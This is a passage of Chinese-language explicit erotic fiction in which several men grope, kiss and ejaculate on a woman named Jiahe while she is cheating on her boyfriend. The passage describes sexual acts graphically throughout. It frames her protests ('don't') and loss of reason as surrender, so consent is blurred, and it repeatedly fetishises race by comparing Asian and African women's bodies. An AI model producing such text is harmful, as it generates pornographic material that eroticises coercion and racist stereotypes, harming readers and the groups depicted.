摸,虽然隔着衣物还是能感觉的出来,亚洲女子的乳房十分柔软,比之本国的女
子强上百倍,一直弄得嘉荷鼻音娇喘连连:「嗯……嗯……」

不一会儿帕克便感觉手中的乳房变得坚挺,两颗坚硬的乳头在T衫上看到清
晰的痕迹,肯尼突然凑过来一张大嘴隔着T衫亲吻,隔着衣物还是能感觉的出来
一团软肉贴在自己的脸上,这让肯尼十分受用。

突然喷来的一口热气让嘉荷一阵酥麻。

「啊……」嘉荷娇喘一声。

肯尼看到嘉荷并未阻止,便更加得意忘形,不断地用自己的黑脸蹭着嘉荷的
乳房。

嘉荷只觉得一张火热的脸不断地蹭着自己的乳头,这种背着男友的快感十分
强烈,而比尔、拉里和龟田则是齐齐抚摸嘉荷的细腿柳腰,嘉荷只觉得浑身都在
被刺激着,十分地舒畅,一根神经紧紧地绷紧着。

突然肯尼一口咬住乳头,用牙齿轻轻的啃噬着。

「啊……不要啊……」嘉荷再难忍受呻吟起来。

帕克看着这么多人一起享用眼前的美女视觉上十分刺激,一张黑嘴吻上了洁
白的柔唇,嘉荷本想躲避,可是逐渐意乱情迷的她逐渐地失去了理智。

帕克用舌头撬开嘉荷的牙齿,深深的吮吸着嘉荷的香舌和唾液,不一会儿嘉
荷就彻底放弃了抵抗,一黑一粉红的舌头纠缠在一起……

帕克一边亲吻嘉荷的香舌,一只手顺着T衫的领口塞了进去,T衫本来领口
就窄,帕克的大手勉强容得下,终于能真切地触碰这一对洁白的酥胸,这让帕克
的内心极大地满足,迫不及待地用大手完全覆盖住一只柔软的酥胸,好软!这种
感觉是在非洲的女子身上感受不到的。

帕克更加兴奋,巨大的阴茎狠狠地顶在裤子上,帕克觉得自己从没这么兴奋
过,肉棒也从没肿胀到了这种地步。

龟田看着嘉荷的胸罩出现一只手在内部大力揉搓的痕迹,十分兴奋,不自觉
感到龟头一阵悸动隐约有了射精的冲动,急忙脱下裤子捂住嘉荷的小手上下套弄
着,迷乱中的嘉荷只觉得自己手中握着一根火热的硬物,仅存的理智告诉她那就
是男人的阴茎。

龟田感受到嘉荷冰凉的小手抽碰到龟头的瞬间忍不住浑身打了一个激灵:
「啊……要射了……好舒服……好性感的小手啊……」

龟田强忍住射精的冲动,加快套弄的速度,套弄了十来下已经憋得满头大汗,
销魂不已。

嘉荷只觉得手中的肉棒越来越热,越来越粗,而且一抖一抖的,出于本能她
加大了握紧的力度,龟田突然受力感觉一阵快感从龟头传道到全身:「啊……忍
不住了……射了……」一股浊白的精液射在嘉荷的小手上。

龟田大口地喘着粗气似乎极度劳累,但是看到嘉荷小手上满满的精液满意地
笑了。

这个龟田的内心十分变态,那就是把纯洁美丽的少女用自己浊白的精液侮辱,
每每如此,内心就会获得无比愉悦的快感!